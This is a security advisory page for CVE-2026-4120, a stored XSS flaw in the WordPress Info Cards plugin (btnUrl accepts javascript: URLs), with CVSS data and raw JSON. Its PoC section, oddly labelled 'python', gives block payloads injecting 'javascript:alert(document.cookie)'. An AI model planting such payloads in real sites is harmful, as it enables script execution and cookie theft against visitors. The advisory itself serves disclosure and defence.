Security Vulnerability Report
中文
CVE-2026-4120 CVSS 6.4 MEDIUM

CVE-2026-4120

Published: 2026-03-19 07:16:00
Last Modified: 2026-04-22 21:32:08

Description

The Info Cards – Add Text and Media in Card Layouts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'btnUrl' parameter within the Info Cards block in all versions up to, and including, 2.0.7. This is due to insufficient input validation on URL schemes, specifically the lack of javascript: protocol filtering. The block's render.php passes all attributes as JSON to the frontend via a data-attributes HTML attribute using esc_attr(wp_json_encode()), which prevents HTML attribute injection but does not validate URL protocols within the JSON data. The client-side view.js then renders the btnUrl value directly as an href attribute on anchor elements without any protocol sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject javascript: URLs that execute arbitrary web scripts when a user clicks the rendered button link.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Info Cards 插件 <= 2.0.7 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Info Cards XSS PoC - CVE-2026-4120 --> <!-- Required: Contributor role or higher --> <!-- Step 1: Insert malicious Info Cards block with javascript: URL --> <!-- The btnUrl parameter contains javascript: protocol --> <!-- Example payload in block attributes --> { "blockName": "info-cards/info-cards", "attrs": { "cards": [ { "btnText": "Click Me", "btnUrl": "javascript:alert(document.cookie)" } ] } } <!-- Alternative: Direct HTML injection if block editor is bypassed --> <!-- wp:info-cards/info-cards {"btnUrl":"javascript:alert(document.domain)"} /-->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4120", "sourceIdentifier": "[email protected]", "published": "2026-03-19T07:16:00.290", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Info Cards – Add Text and Media in Card Layouts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'btnUrl' parameter within the Info Cards block in all versions up to, and including, 2.0.7. This is due to insufficient input validation on URL schemes, specifically the lack of javascript: protocol filtering. The block's render.php passes all attributes as JSON to the frontend via a data-attributes HTML attribute using esc_attr(wp_json_encode()), which prevents HTML attribute injection but does not validate URL protocols within the JSON data. The client-side view.js then renders the btnUrl value directly as an href attribute on anchor elements without any protocol sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject javascript: URLs that execute arbitrary web scripts when a user clicks the rendered button link."}, {"lang": "es", "value": "El plugin Info Cards – Add Text and Media in Card Layouts para WordPress es vulnerable a Cross-Site Scripting Almacenado a través del parámetro 'btnUrl' dentro del bloque Info Cards en todas las versiones hasta, e incluyendo, la 2.0.7. Esto se debe a una validación de entrada insuficiente en los esquemas de URL, específicamente la falta de filtrado del protocolo javascript:. El render.php del bloque pasa todos los atributos como JSON al frontend a través de un atributo HTML data-attributes usando esc_attr(wp_json_encode()), lo que previene la inyección de atributos HTML pero no valida los protocolos de URL dentro de los datos JSON. El view.js del lado del cliente luego renderiza el valor de btnUrl directamente como un atributo href en elementos de anclaje sin ninguna sanitización de protocolo. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten URLs javascript: que ejecutan scripts web arbitrarios cuando un usuario hace clic en el enlace del botón renderizado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/info-cards/tags/2.0.7/build/block.json#L35", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/info-cards/tags/2.0.7/build/render.php#L8", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/info-cards/tags/2.0.7/build/view.js#L2", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/info-cards/trunk/build/block.json#L35", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/info-cards/trunk/build/render.php#L8", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/info-cards/trunk/build/render.php?rev=3482902", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/info-cards/trunk/build/view.js#L2", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/279984d9-f352-467f-a53d-814466d70326?source=cve", "source": "[email protected]"}]}}